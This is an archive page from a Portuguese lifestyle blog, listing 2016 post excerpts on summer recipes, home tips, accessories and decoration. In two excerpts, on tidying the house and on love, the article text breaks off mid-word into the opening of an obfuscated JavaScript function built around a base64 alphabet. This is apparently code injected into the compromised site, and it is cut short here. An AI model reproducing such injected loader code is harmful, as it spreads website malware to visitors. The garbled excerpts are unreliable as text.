Jul 2, 2016 | À descoberta, Receitas
2 saladas de verão por Luísa Fortes da Cunha Salada de atum com ovo cozido, rúcula, alface, tomate, pepino, manjericão Ingredientes 6 Folhas de alface em pedaços 3 Ovos cozidos cortados 2-3 Latas de atum 2 Tomates Rúcula a gosto 1 Pepino cortado às rodelas Folhas de...
Jun 28, 2016 | À descoberta, Receitas
Gelado de morango e iogurte 0% gordura por Luísa Fortes da Cunha Ingredientes 6-8 Morangos congelados 4-6 Colheres de sopa de iogurte 0% gordura Amêndoas para polvilhar Açaí como topping Preparação Muito fácil: basta juntar o iogurte aos morangos, triturar tudo e...
Jun 23, 2016 | À descoberta, Dicas úteis
Os pareos (ou cangas) são um acessório obrigatório para as mulheres no verão. Além de práticos, são super versáteis. Tanto pode estendê-los na praia a fazer de toalha, como enrolá-los à volta do corpo para ir ao bar ou mesmo fazer bolsas de praia com eles. Veja só de...
Jun 22, 2016 | À descoberta, Receitas
3 Pequenos-almoços para manter a barriga lisa Reduzir ou evitar a gordura na zona abdominal passa por adotar rotinas saudáveis, como o bom sono, controlo do stress, exposição à luz solar (pela vitamina D), exercício físico e, claro, a alimentação. Toda a gente sabe...
Jun 21, 2016 | À descoberta, Dicas úteis
Bengaleiros que fazem toda a diferença Reciclar é sempre uma boa ideia! Pegar em objectos que já não usamos e dar-lhes uma nova vida, em vez de nos desfazermos deles. Também podemos juntar este e aquele elemento e ganhar um novo objecto completamente diferente e bem...
Jun 17, 2016 | À descoberta, Dicas úteis
9 regras para uma casa arrumada É tempo de dar um volta na sua casa. Durante o ano vamos acumulfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Jun 16, 2016 | À descoberta, Sabedoria
Já se disse e escreveu tudo sobre o amor: que é fogo que arde sem se ver, que é louco, lindo. E todos desejamos amar, amar perdidamente. Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...
Jun 14, 2016 | À descoberta, Faça você mesmo
Centros de mesa originais – 9 sugestões No decorrer do ano usamos centros de mesa em datas que marcamos no calendário, datas em que gostamos de juntar os familiares amigos em nossa casa ou em casa deles e celebrar o melhor da vida. Nada é mais agradável que um...
Jun 11, 2016 | À descoberta, Dicas úteis
Conheça os acessórios que mais a favorecem Todos os dias são os dias certos para nos sentirmos bem connosco próprias e para estarmos arranjadas e bonitas. Todas sabemos que, para além da roupa, cabelo e maquilhagem, o acessório certo pode dar-nos aquele pedacinho de...
Jun 11, 2016 | À descoberta, Receitas
3 receitas para piquenique, por Rita Malvar O verão está quase a chegar e já apetece passar bons momentos ao ar livre. Hoje sugerimos que agarre na cesta de piquenique, na manta xadrez e na família ou amigos, e se ponha a caminho de um lugar bonito, na natureza, para...
